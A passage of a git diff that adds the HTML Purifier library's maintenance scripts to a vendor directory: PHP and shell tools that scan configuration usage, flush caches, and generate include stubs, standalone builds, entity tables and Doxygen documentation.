+ case '.htc':
+ $line = "<!-- %s\n-->";
+ break;
+ case '.htmlt':
+ $no_nl = true;
+ $line = '--# %s';
+ break;
+ case '.ini':
+ $line = '; %s';
+ break;
+ case '.css':
+ $line = '/* %s */';
+ break;
+ case '.bat':
+ $line = 'rem %s';
+ break;
+ case '.txt':
+ case '.utf8':
+ if (
+ prefix_is('./library/HTMLPurifier/ConfigSchema', $file) ||
+ prefix_is('./smoketests/test-schema', $file) ||
+ prefix_is('./tests/HTMLPurifier/StringHashParser', $file)
+ ) {
+ $no_nl = true;
+ $line = '--# %s';
+ } else {
+ $line = ' %s';
+ }
+ break;
+ case 'Doxyfile':
+ $line = '# %s';
+ break;
+ default:
+ throw new Exception('Unknown file: ' . $file);
+ }
+
+ echo "$file\n";
+ $contents = file_get_contents($file);
+
+ $regex = '~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m';
+ $contents = preg_replace($regex, '', $contents);
+
+ $contents = rtrim($contents);
+
+ if (strpos($contents, "\r\n") !== false) $nl = "\r\n";
+ elseif (strpos($contents, "\n") !== false) $nl = "\n";
+ elseif (strpos($contents, "\r") !== false) $nl = "\r";
+ else $nl = PHP_EOL;
+
+ if (!$no_nl) $contents .= $nl;
+ $contents .= $nl . str_replace('%s', $vimline, $line) . $nl;
+
+ file_put_contents($file, $contents);
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/common.php b/vendor/ezyang/htmlpurifier/maintenance/common.php
new file mode 100644
index 000000000..342bc205a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/common.php
@@ -0,0 +1,25 @@
+<?php
+
+function assertCli()
+{
+ if (php_sapi_name() != 'cli' && !getenv('PHP_IS_CLI')) {
+ echo 'Script cannot be called from web-browser (if you are indeed calling via cli,
+set environment variable PHP_IS_CLI to work around this).';
+ exit(1);
+ }
+}
+
+function prefix_is($comp, $subject)
+{
+ return strncmp($comp, $subject, strlen($comp)) === 0;
+}
+
+function postfix_is($comp, $subject)
+{
+ return strlen($subject) < $comp ? false : substr($subject, -strlen($comp)) === $comp;
+}
+
+// Load useful stuff like FSTools
+require_once dirname(__FILE__) . '/../extras/HTMLPurifierExtras.auto.php';
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh b/vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh
new file mode 100755
index 000000000..ecd1127fd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh
@@ -0,0 +1,11 @@
+#!/bin/bash
+cd ..
+mkdir docs/doxygen
+rm -Rf docs/doxygen/*
+doxygen 1>docs/doxygen/info.log 2>docs/doxygen/errors.log
+if [ "$?" != 0 ]; then
+ cat docs/doxygen/errors.log
+ exit
+fi
+cd docs
+tar czf doxygen.tgz doxygen
diff --git a/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php b/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php
new file mode 100644
index 000000000..c614d1fbc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/config-scanner.php
@@ -0,0 +1,155 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+require_once '../library/HTMLPurifier.auto.php';
+assertCli();
+
+if (version_compare(PHP_VERSION, '5.2.2', '<')) {
+ echo "This script requires PHP 5.2.2 or later, for tokenizer line numbers.";
+ exit(1);
+}
+
+/**
+ * @file
+ * Scans HTML Purifier source code for $config tokens and records the
+ * directive being used; configdoc can use this info later.
+ *
+ * Currently, this just dumps all the info onto the console. Eventually, it
+ * will create an XML file that our XSLT transform can use.
+ */
+
+$FS = new FSTools();
+chdir(dirname(__FILE__) . '/../library/');
+$raw_files = $FS->globr('.', '*.php');
+$files = array();
+foreach ($raw_files as $file) {
+ $file = substr($file, 2); // rm leading './'
+ if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files
+ if (substr_count($file, '.') > 1) continue; // rm meta files
+ $files[] = $file;
+}
+
+/**
+ * Moves the $i cursor to the next non-whitespace token
+ */
+function consumeWhitespace($tokens, &$i)
+{
+ do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE);
+}
+
+/**
+ * Tests whether or not a token is a particular type. There are three run-cases:
+ * - ($token, $expect_token): tests if the token is $expect_token type;
+ * - ($token, $expect_value): tests if the token is the string $expect_value;
+ * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and
+ * its string representation is $expect_value
+ */
+function testToken($token, $value_or_token, $value = null)
+{
+ if (is_null($value)) {
+ if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token;
+ else return $token === $value_or_token;
+ } else {
+ return is_array($token) && $token[0] === $value_or_token && $token[1] === $value;
+ }
+}
+
+$counter = 0;
+$full_counter = 0;
+$tracker = array();
+
+foreach ($files as $file) {
+ $tokens = token_get_all(file_get_contents($file));
+ $file = str_replace('\\', '/', $file);
+ for ($i = 0, $c = count($tokens); $i < $c; $i++) {
+ $ok = false;
+ // Match $config
+ if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true;
+ // Match $this->config
+ while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) {
+ consumeWhitespace($tokens, $i);
+ if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break;
+ consumeWhitespace($tokens, $i);
+ if (testToken($tokens[$i], T_STRING, 'config')) $ok = true;
+ break;
+ }
+ if (!$ok) continue;
+
+ $ok = false;
+ for($i++; $i < $c; $i++) {
+ if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') {
+ break;
+ }
+ if (is_string($tokens[$i])) continue;
+ if ($tokens[$i][0] === T_OBJECT_OPERATOR) {
+ $ok = true;
+ break;
+ }
+ }
+ if (!$ok) continue;
+
+ $line = $tokens[$i][2];
+
+ consumeWhitespace($tokens, $i);
+ if (!testToken($tokens[$i], T_STRING, 'get')) continue;
+
+ consumeWhitespace($tokens, $i);
+ if (!testToken($tokens[$i], '(')) continue;
+
+ $full_counter++;
+
+ $matched = false;
+ do {
+
+ // What we currently don't match are batch retrievals, and
+ // wildcard retrievals. This data might be useful in the future,
+ // which is why we have a do {} while loop that doesn't actually
+ // do anything.
+
+ consumeWhitespace($tokens, $i);
+ if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue;
+ $id = substr($tokens[$i][1], 1, -1);
+
+ $counter++;
+ $matched = true;
+
+ if (!isset($tracker[$id])) $tracker[$id] = array();
+ if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array();
+ $tracker[$id][$file][] = $line;
+
+ } while (0);
+
+ //echo "$file:$line uses $namespace.$directive\n";
+ }
+}
+
+echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n";
+
+echo "Generating XML... ";
+
+$xw = new XMLWriter();
+$xw->openURI('../configdoc/usage.xml');
+$xw->setIndent(true);
+$xw->startDocument('1.0', 'UTF-8');
+$xw->startElement('usage');
+foreach ($tracker as $id => $files) {
+ $xw->startElement('directive');
+ $xw->writeAttribute('id', $id);
+ foreach ($files as $file => $lines) {
+ $xw->startElement('file');
+ $xw->writeAttribute('name', $file);
+ foreach ($lines as $line) {
+ $xw->writeElement('line', $line);
+ }
+ $xw->endElement();
+ }
+ $xw->endElement();
+}
+$xw->endElement();
+$xw->flush();
+
+echo "done!\n";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php b/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php
new file mode 100755
index 000000000..138badb65
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php
@@ -0,0 +1,42 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Flushes the definition serial cache. This file should be
+ * called if changes to any subclasses of HTMLPurifier_Definition
+ * or related classes (such as HTMLPurifier_HTMLModule) are made. This
+ * may also be necessary if you've modified a customized version.
+ *
+ * @param Accepts one argument, cache type to flush; otherwise flushes all
+ * the caches.
+ */
+
+echo "Flushing cache... \n";
+
+require_once(dirname(__FILE__) . '/../library/HTMLPurifier.auto.php');
+
+$config = HTMLPurifier_Config::createDefault();
+
+$names = array('HTML', 'CSS', 'URI', 'Test');
+if (isset($argv[1])) {
+ if (in_array($argv[1], $names)) {
+ $names = array($argv[1]);
+ } else {
+ throw new Exception("Cache parameter {$argv[1]} is not a valid cache");
+ }
+}
+
+foreach ($names as $name) {
+ echo " - Flushing $name\n";
+ $cache = new HTMLPurifier_DefinitionCache_Serializer($name);
+ $cache->flush($config);
+}
+
+echo "Cache flushed successfully.\n";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush.php b/vendor/ezyang/htmlpurifier/maintenance/flush.php
new file mode 100644
index 000000000..c0853d230
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/flush.php
@@ -0,0 +1,30 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Runs all generation/flush cache scripts to ensure that somewhat volatile
+ * generated files are up-to-date.
+ */
+
+function e($cmd)
+{
+ echo "\$ $cmd\n";
+ passthru($cmd, $status);
+ echo "\n";
+ if ($status) exit($status);
+}
+
+$php = empty($_SERVER['argv'][1]) ? 'php' : $_SERVER['argv'][1];
+
+e($php . ' generate-includes.php');
+e($php . ' generate-schema-cache.php');
+e($php . ' flush-definition-cache.php');
+e($php . ' generate-standalone.php');
+e($php . ' config-scanner.php');
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php b/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php
new file mode 100755
index 000000000..ff1713e39
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php
@@ -0,0 +1,75 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Parses *.ent files into an entity lookup table, and then serializes and
+ * writes the whole kaboodle to a file. The resulting file is cached so
+ * that this script does not need to be run. This script should rarely,
+ * if ever, be run, since HTML's entities are fairly immutable.
+ */
+
+// here's where the entity files are located, assuming working directory
+// is the same as the location of this PHP file. Needs trailing slash.
+$entity_dir = '../docs/entities/';
+
+// defines the output file for the serialized content.
+$output_file = '../library/HTMLPurifier/EntityLookup/entities.ser';
+
+// courtesy of a PHP manual comment
+function unichr($dec)
+{
+ if ($dec < 128) {
+ $utf = chr($dec);
+ } elseif ($dec < 2048) {
+ $utf = chr(192 + (($dec - ($dec % 64)) / 64));
+ $utf .= chr(128 + ($dec % 64));
+ } else {
+ $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
+ $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
+ $utf .= chr(128 + ($dec % 64));
+ }
+ return $utf;
+}
+
+if ( !is_dir($entity_dir) ) exit("Fatal Error: Can't find entity directory.\n");
+if ( file_exists($output_file) ) exit("Fatal Error: output file already exists.\n");
+
+$dh = @opendir($entity_dir);
+if ( !$dh ) exit("Fatal Error: Cannot read entity directory.\n");
+
+$entity_files = array();
+while (($file = readdir($dh)) !== false) {
+ if (@$file[0] === '.') continue;
+ if (substr(strrchr($file, "."), 1) !== 'ent') continue;
+ $entity_files[] = $file;
+}
+closedir($dh);
+
+if ( !$entity_files ) exit("Fatal Error: No entity files to parse.\n");
+
+$entity_table = array();
+$regexp = '/<!ENTITY\s+([A-Za-z0-9]+)\s+"&#(?:38;#)?([0-9]+);">/';
+
+foreach ( $entity_files as $file ) {
+ $contents = file_get_contents($entity_dir . $file);
+ $matches = array();
+ preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER);
+ foreach ($matches as $match) {
+ $entity_table[$match[1]] = unichr($match[2]);
+ }
+}
+
+$output = serialize($entity_table);
+
+$fh = fopen($output_file, 'w');
+fwrite($fh, $output);
+fclose($fh);
+
+echo "Completed successfully.";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php b/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php
new file mode 100644
index 000000000..01e1c2aba
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/generate-includes.php
@@ -0,0 +1,192 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+require_once '../tests/path2class.func.php';
+require_once '../library/HTMLPurifier/Bootstrap.php';
+assertCli();
+
+/**
+ * @file
+ * Generates an include stub for users who do not want to use the autoloader.
+ * When new files are added to HTML Purifier's main codebase, this file should
+ * be called.
+ */
+
+chdir(dirname(__FILE__) . '/../library/');
+$FS = new FSTools();
+
+$exclude_dirs = array(
+ 'HTMLPurifier/Language/',
+ 'HTMLPurifier/ConfigSchema/',
+ 'HTMLPurifier/Filter/',
+ 'HTMLPurifier/Printer/',
+ /* These should be excluded, but need to have ConfigSchema support first
+
+ */
+);
+$exclude_files = array(
+ 'HTMLPurifier/Lexer/PEARSax3.php',
+ 'HTMLPurifier/Lexer/PH5P.php',
+ 'HTMLPurifier/Printer.php',
+);
+
+// Determine what files need to be included:
+echo 'Scanning for files... ';
+$raw_files = $FS->globr('.', '*.php');
+if (!$raw_files) throw new Exception('Did not find any PHP source files');
+$files = array();
+foreach ($raw_files as $file) {
+ $file = substr($file, 2); // rm leading './'
+ if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files
+ if (substr_count($file, '.') > 1) continue; // rm meta files
+ $ok = true;
+ foreach ($exclude_dirs as $dir) {
+ if (strncmp($dir, $file, strlen($dir)) === 0) {
+ $ok = false;
+ break;
+ }
+ }
+ if (!$ok) continue; // rm excluded directories
+ if (in_array($file, $exclude_files)) continue; // rm excluded files
+ $files[] = $file;
+}
+echo "done!\n";
+
+// Reorder list so that dependencies are included first:
+
+/**
+ * Returns a lookup array of dependencies for a file.
+ *
+ * @note This function expects that format $name extends $parent on one line
+ *
+ * @param string $file
+ * File to check dependencies of.
+ * @return array
+ * Lookup array of files the file is dependent on, sorted accordingly.
+ */
+function get_dependency_lookup($file)
+{
+ static $cache = array();
+ if (isset($cache[$file])) return $cache[$file];
+ if (!file_exists($file)) {
+ echo "File doesn't exist: $file\n";
+ return array();
+ }
+ $fh = fopen($file, 'r');
+ $deps = array();
+ while (!feof($fh)) {
+ $line = fgets($fh);
+ if (strncmp('class', $line, 5) === 0) {
+ // The implementation here is fragile and will break if we attempt
+ // to use interfaces. Beware!
+ $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2);
+ if (count($arr) < 2) break;
+ $parent = $arr[1];
+ $dep_file = HTMLPurifier_Bootstrap::getPath($parent);
+ if (!$dep_file) break;
+ $deps[$dep_file] = true;
+ break;
+ }
+ }
+ fclose($fh);
+ foreach (array_keys($deps) as $file) {
+ // Extra dependencies must come *before* base dependencies
+ $deps = get_dependency_lookup($file) + $deps;
+ }
+ $cache[$file] = $deps;
+ return $deps;
+}
+
+/**
+ * Sorts files based on dependencies. This function is lazy and will not
+ * group files with dependencies together; it will merely ensure that a file
+ * is never included before its dependencies are.
+ *
+ * @param $files
+ * Files array to sort.
+ * @return
+ * Sorted array ($files is not modified by reference!)
+ */
+function dep_sort($files)
+{
+ $ret = array();
+ $cache = array();
+ foreach ($files as $file) {
+ if (isset($cache[$file])) continue;
+ $deps = get_dependency_lookup($file);
+ foreach (array_keys($deps) as $dep) {
+ if (!isset($cache[$dep])) {
+ $ret[] = $dep;
+ $cache[$dep] = true;
+ }
+ }
+ $cache[$file] = true;
+ $ret[] = $file;
+ }
+ return $ret;
+}
+
+$files = dep_sort($files);
+
+// Build the actual include stub:
+
+$version = trim(file_get_contents('../VERSION'));
+
+// stub
+$php = "<?php
+
+/**
+ * @file
+ * This file was auto-generated by generate-includes.php and includes all of
+ * the core files required by HTML Purifier. Use this if performance is a
+ * primary concern and you are using an opcode cache. PLEASE DO NOT EDIT THIS
+ * FILE, changes will be overwritten the next time the script is run.
+ *
+ * @version $version
+ *
+ * @warning
+ * You must *not* include any other HTML Purifier files before this file,
+ * because 'require' not 'require_once' is used.
+ *
+ * @warning
+ * This file requires that the include path contains the HTML Purifier
+ * library directory; this is not auto-set.
+ */
+
+";
+
+foreach ($files as $file) {
+ $php .= "require '$file';" . PHP_EOL;
+}
+
+echo "Writing HTMLPurifier.includes.php... ";
+file_put_contents('HTMLPurifier.includes.php', $php);
+echo "done!\n";
+
+$php = "<?php
+
+/**
+ * @file
+ * This file was auto-generated by generate-includes.php and includes all of
+ * the core files required by HTML Purifier. This is a convenience stub that
+ * includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT
+ * EDIT THIS FILE, changes will be overwritten the next time the script is run.
+ *
+ * Changes to include_path are not necessary.
+ */
+
+\$__dir = dirname(__FILE__);
+
+";
+
+foreach ($files as $file) {
+ $php .= "require_once \$__dir . '/$file';" . PHP_EOL;
+}
+
+echo "Writing HTMLPurifier.safe-includes.php... ";
+file_put_contents('HTMLPurifier.safe-includes.php', $php);
+echo "done!\n";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-ph5p-patch.php b/vendor/ezyang/htmlpurifier/maintenance/generate-ph5p-patch.php
new file mode 100644
index 000000000..c92a7d211
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/generate-ph5p-patch.php
@@ -0,0 +1,22 @@
+<?php
+
+/**
+ * @file
+ * This file compares our version of PH5P with Jero's original version, and
+ * generates a patch of the differences. This script should be run whenever
+ * library/HTMLPurifier/Lexer/PH5P.php is modified.
+ */
+
+$orig = realpath(dirname(__FILE__) . '/PH5P.php');
+$new = realpath(dirname(__FILE__) . '/../library/HTMLPurifier/Lexer/PH5P.php');
+$newt = dirname(__FILE__) . '/PH5P.new.php'; // temporary file
+
+// minor text-processing of new file to get into same format as original
+$new_src = file_get_contents($new);
+$new_src = '<?php' . PHP_EOL . substr($new_src, strpos($new_src, 'class HTML5 {'));
+
+file_put_contents($newt, $new_src);
+shell_exec("diff -u \"$orig\" \"$newt\" > PH5P.patch");
+unlink($newt);
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php b/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php
new file mode 100644
index 000000000..339ff12da
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/generate-schema-cache.php
@@ -0,0 +1,45 @@
+#!/usr/bin/php
+<?php
+
+require_once dirname(__FILE__) . '/common.php';
+require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
+assertCli();
+
+/**
+ * @file
+ * Generates a schema cache file, saving it to
+ * library/HTMLPurifier/ConfigSchema/schema.ser.
+ *
+ * This should be run when new configuration options are added to
+ * HTML Purifier. A cached version is available via the repository
+ * so this does not normally have to be regenerated.
+ *
+ * If you have a directory containing custom configuration schema files,
+ * you can simple add a path to that directory as a parameter to
+ * this, and they will get included.
+ */
+
+$target = dirname(__FILE__) . '/../library/HTMLPurifier/ConfigSchema/schema.ser';
+
+$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
+$interchange = new HTMLPurifier_ConfigSchema_Interchange();
+
+$builder->buildDir($interchange);
+
+$loader = dirname(__FILE__) . '/../config-schema.php';
+if (file_exists($loader)) include $loader;
+foreach ($_SERVER['argv'] as $i => $dir) {
+ if ($i === 0) continue;
+ $builder->buildDir($interchange, realpath($dir));
+}
+
+$interchange->validate();
+
+$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema();
+$schema = $schema_builder->build($interchange);
+
+echo "Saving schema... ";
+file_put_contents($target, serialize($schema));
+echo "done!\n";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php b/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php
new file mode 100755
index 000000000..254d4d83b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php
@@ -0,0 +1,159 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+/**
+ * @file
+ * Compiles all of HTML Purifier's library files into one big file
+ * named HTMLPurifier.standalone.php. This is usually called during the
+ * release process.
+ */
+
+/**
+ * Global hash that tracks already loaded includes
+ */
+$GLOBALS['loaded'] = array();
+
+/**
+ * Custom FSTools for this script that overloads some behavior
+ * @warning The overloading of copy() is not necessarily global for
+ * this script. Watch out!
+ */
+class MergeLibraryFSTools extends FSTools
+{
+ public function copyable($entry)
+ {
+ // Skip hidden files
+ if ($entry[0] == '.') {
+ return false;
+ }
+ return true;
+ }
+ public function copy($source, $dest)
+ {
+ copy_and_remove_includes($source, $dest);
+ }
+}
+$FS = new MergeLibraryFSTools();
+
+/**
+ * Replaces the includes inside PHP source code with the corresponding
+ * source.
+ * @param string $text PHP source code to replace includes from
+ */
+function replace_includes($text)
+{
+ // also remove vim modelines
+ return preg_replace_callback(
+ "/require(?:_once)? ['\"]([^'\"]+)['\"];/",
+ 'replace_includes_callback',
+ $text
+ );
+}
+
+/**
+ * Removes leading PHP tags from included files. Assumes that there is
+ * no trailing tag. Also removes vim modelines.
+ * @note This is safe for files that have internal <?php
+ * @param string $text Text to have leading PHP tag from
+ */
+function remove_php_tags($text)
+{
+ $text = preg_replace('#// vim:.+#', '', $text);
+ return substr($text, 5);
+}
+
+/**
+ * Copies the contents of a directory to the standalone directory
+ * @param string $dir Directory to copy
+ */
+function make_dir_standalone($dir)
+{
+ global $FS;
+ return $FS->copyr($dir, 'standalone/' . $dir);
+}
+
+/**
+ * Copies the contents of a file to the standalone directory
+ * @param string $file File to copy
+ */
+function make_file_standalone($file)
+{
+ global $FS;
+ $FS->mkdirr('standalone/' . dirname($file));
+ copy_and_remove_includes($file, 'standalone/' . $file);
+ return true;
+}
+
+/**
+ * Copies a file to another location recursively, if it is a PHP file
+ * remove includes
+ * @param string $file Original file
+ * @param string $sfile New location of file
+ */
+function copy_and_remove_includes($file, $sfile)
+{
+ $contents = file_get_contents($file);
+ if (strrchr($file, '.') === '.php') $contents = replace_includes($contents);
+ return file_put_contents($sfile, $contents);
+}
+
+/**
+ * @param $matches preg_replace_callback matches array, where index 1
+ * is the filename to include
+ */
+function replace_includes_callback($matches)
+{
+ $file = $matches[1];
+ $preserve = array(
+ // PEAR (external)
+ 'XML/HTMLSax3.php' => 1
+ );
+ if (isset($preserve[$file])) {
+ return $matches[0];
+ }
+ if (isset($GLOBALS['loaded'][$file])) return '';
+ $GLOBALS['loaded'][$file] = true;
+ return replace_includes(remove_php_tags(file_get_contents($file)));
+}
+
+echo 'Generating includes file... ';
+shell_exec('php generate-includes.php');
+echo "done!\n";
+
+chdir(dirname(__FILE__) . '/../library/');
+
+echo 'Creating full file...';
+$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php'));
+$contents = str_replace(
+ // Note that bootstrap is now inside the standalone file
+ "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));",
+ "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone');
+ set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());",
+ $contents
+);
+file_put_contents('HTMLPurifier.standalone.php', $contents);
+echo ' done!' . PHP_EOL;
+
+echo 'Creating standalone directory...';
+$FS->rmdirr('standalone'); // ensure a clean copy
+
+// data files
+$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer');
+make_file_standalone('HTMLPurifier/EntityLookup/entities.ser');
+make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser');
+
+// non-standard inclusion setup
+make_dir_standalone('HTMLPurifier/ConfigSchema');
+make_dir_standalone('HTMLPurifier/Language');
+make_dir_standalone('HTMLPurifier/Filter');
+make_dir_standalone('HTMLPurifier/Printer');
+make_file_standalone('HTMLPurifier/Printer.php');
+make_file_standalone('HTMLPurifier/Lexer/PH5P.php');
+
+echo ' done!' . PHP_EOL;
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/merge-library.php b/vendor/ezyang/htmlpurifier/maintenance/merge-library.php
new file mode 100755
index 000000000..de2eecdc0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/merge-library.php
@@ -0,0 +1,11 @@
+#!/usr/bin/php
+<?php
+
+/**
+ * @file
+ * Deprecated in favor of generate-standalone.php.
+ */
+
+require dirname(__FILE__) . '/generate-standalone.php';
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/old-extract-schema.php b/vendor/ezyang/htmlpurifier/maintenance/old-extract-schema.php
new file mode 100644
index 000000000..514a08dd9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/old-extract-schema.php
@@ -0,0 +1,71 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+echo "Please do not run this script. It is here for historical purposes only.";
+exit;
+
+/**
+ * @file
+ * Extracts all definitions inside a configuration schema
+ * (HTMLPurifier_ConfigSchema) and exports them as plain text files.
+ *
+ * @todo Extract version numbers.
+ */
+
+define('HTMLPURIFIER_SCHEMA_STRICT', true); // description data needs to be collected
+require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
+
+// We need includes to ensure all HTMLPurifier_ConfigSchema calls are
+// performed.
+require_once 'HTMLPurifier.includes.php';
+
+// Also, these extra files will be necessary.
+require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php';
+
+/**
+ * Takes a hash and saves its contents to library/HTMLPurifier/ConfigSchema/
+ */
+function saveHash($hash)
+{
+ if ($hash === false) return;
+ $dir = realpath(dirname(__FILE__) . '/../library/HTMLPurifier/ConfigSchema');
+ $name = $hash['ID'] . '.txt';
+ $file = $dir . '/' . $name;
+ if (file_exists($file)) {
+ trigger_error("File already exists; skipped $name");
+ return;
+ }
+ $file = new FSTools_File($file);
+ $file->open('w');
+ $multiline = false;
+ foreach ($hash as $key => $value) {
+ $multiline = $multiline || (strpos($value, "\n") !== false);
+ if ($multiline) {
+ $file->put("--$key--" . PHP_EOL);
+ $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL);
+ } else {
+ if ($key == 'ID') {
+ $file->put("$value" . PHP_EOL);
+ } else {
+ $file->put("$key: $value" . PHP_EOL);
+ }
+ }
+ }
+ $file->close();
+}
+
+$schema = HTMLPurifier_ConfigSchema::instance();
+$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema);
+
+foreach ($schema->info as $ns => $ns_array) {
+ saveHash($adapter->get($ns));
+ foreach ($ns_array as $dir => $x) {
+ saveHash($adapter->get($ns, $dir));
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php b/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php
new file mode 100644
index 000000000..f47c7d0f1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/old-remove-require-once.php
@@ -0,0 +1,32 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+echo "Please do not run this script. It is here for historical purposes only.";
+exit;
+
+/**
+ * @file
+ * Removes leading includes from files.
+ *
+ * @note
+ * This does not remove inline includes; those must be handled manually.
+ */
+
+chdir(dirname(__FILE__) . '/../tests/HTMLPurifier');
+$FS = new FSTools();
+
+$files = $FS->globr('.', '*.php');
+foreach ($files as $file) {
+ if (substr_count(basename($file), '.') > 1) continue;
+ $old_code = file_get_contents($file);
+ $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code);
+ if ($old_code !== $new_code) {
+ file_put_contents($file, $new_code);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php b/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php
new file mode 100644
index 000000000..5ae031973
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/old-remove-schema-def.php
@@ -0,0 +1,32 @@
+#!/usr/bin/php
+<?php
+
+chdir(dirname(__FILE__));
+require_once 'common.php';
+assertCli();
+
+echo "Please do not run this script. It is here for historical purposes only.";
+exit;
+
+/**
+ * @file
+ * Removes ConfigSchema function calls from source files.
+ */
+
+chdir(dirname(__FILE__) . '/../library/');
+$FS = new FSTools();
+
+$files = $FS->globr('.', '*.php');
+foreach ($files as $file) {
+ if (substr_count(basename($file), '.') > 1) continue;
+ $old_code = file_get_contents($file);
+ $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code);
+ if ($old_code !== $new_code) {
+ file_put_contents($file, $new_code);
+ }
+ if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) {
+ echo "Indented ConfigSchema call in $file\n";
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh b/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh
new file mode 100755
index 000000000..6f4d720ff
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh
@@ -0,0 +1,5 @@
+#!/bin/bash -e
+./compile-doxygen.sh
+cd ../docs
+scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org
+ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh"
